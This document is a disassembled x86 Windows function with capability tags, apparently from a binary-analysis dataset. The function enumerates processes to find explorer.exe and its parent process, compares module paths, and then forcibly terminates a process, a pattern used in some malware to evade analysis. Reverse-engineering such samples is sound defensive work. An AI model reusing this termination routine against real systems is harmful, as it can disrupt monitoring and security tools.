Function at 0x405e27
Capabilities:
Enumerate process modules
Enumerate processes
Get common file path
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x13ec
call fcn.0040a550
push edi
mov dword [ebp - 0x13ec], ecx
mov dword [ebp - 0x10], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x1d0], 0
mov ecx, 0x49
xor eax, eax
lea edi, [ebp - 0x1cc]
rep stosd dword es:[edi], eax
mov ecx, dword [ebp - 0x13ec]
call fcn.00405d89
test eax, eax
je 0x405e7c
mov ecx, dword [ebp - 0x13ec]
call fcn.00405df1
mov dword [ebp - 0xa4], 0x94
lea eax, [ebp - 0xa4]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x94], 1
jne 0x405ec7
mov ecx, dword [ebp - 0x13ec]
call fcn.00405bff
test eax, eax
jne 0x405eba
mov ecx, dword [ebp - 0x13ec]
call fcn.00405c45
test eax, eax
je 0x405ec5
mov ecx, dword [ebp - 0x13ec]
call fcn.00405df1
jmp 0x405ef0
mov ecx, dword [ebp - 0x13ec]
call fcn.00405dc9
test eax, eax
jne 0x405ee5
mov ecx, dword [ebp - 0x13ec]
call fcn.00405d49
test eax, eax
je 0x405ef0
mov ecx, dword [ebp - 0x13ec]
call fcn.00405df1
mov dword [ebp - 0x1d0], 0x128
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0xc], eax
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x10], eax
lea ecx, [ebp - 0x1d0]
push ecx
mov edx, dword [ebp - 0x10]
push edx
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x405f6f
lea eax, [ebp - 0x1d0]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x405f6f
push str.explorer.exe
lea edx, [ebp - 0x1ac]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x405f59
mov eax, dword [ebp - 0x1c8]
mov dword [ebp - 0xa8], eax
mov ecx, dword [ebp - 0x1c8]
cmp ecx, dword [ebp - 0xc]
jne 0x405f6d
mov edx, dword [ebp - 0x1b8]
mov dword [ebp - 8], edx
jmp 0x405f23
mov eax, dword [ebp - 8]
cmp eax, dword [ebp - 0xa8]
je 0x405fa8
cmp dword [ebp - 0xa8], 0
je 0x405fa8
mov ecx, dword [ebp - 8]
push ecx
push 1
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 4], eax
push 0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x4060e5
mov dword [ebp - 0x2d8], 0
push 0x105
lea eax, [ebp - 0x2d4]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 0x417828
lea ecx, [ebp - 0x2d4]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push str.EXPLORER.EXE
lea edx, [ebp - 0x2d4]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov eax, dword [ebp - 8]
push eax
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x2e0], eax
cmp dword [ebp - 0x2e0], 0
jne 0x40600d
jmp 0x4060e5
lea ecx, [ebp - 0x2dc]
push ecx
push 0x1000
lea edx, [ebp - 0x12e4]
push edx
mov eax, dword [ebp - 0x2e0]
push eax
call sub.PSAPI.DLL_EnumProcessModules
test eax, eax
je 0x4060ac
mov dword [ebp - 0x2e4], 0
jmp 0x40604b
mov ecx, dword [ebp - 0x2e4]
add ecx, 1
mov dword [ebp - 0x2e4], ecx
mov edx, dword [ebp - 0x2dc]
shr edx, 2
cmp dword [ebp - 0x2e4], edx
jae 0x4060ac
push 0x104
lea eax, [ebp - 0x13e8]
push eax
mov ecx, dword [ebp - 0x2e4]
mov edx, dword [ebp + ecx*4 - 0x12e4]
push edx
mov eax, dword [ebp - 0x2e0]
push eax
call sub.PSAPI.DLL_GetModuleFileNameExA
test eax, eax
je 0x4060aa
lea ecx, [ebp - 0x13e8]
push ecx
lea edx, [ebp - 0x2d4]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x4060aa
mov dword [ebp - 0x2d8], 1
jmp 0x4060ac
jmp 0x40603c
mov eax, dword [ebp - 0x2e0]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x2d8], 0
jne 0x4060e5
mov ecx, dword [ebp - 0xa8]
push ecx
push 1
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 4], eax
push 0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
pop edi
mov esp, ebp
pop ebp
ret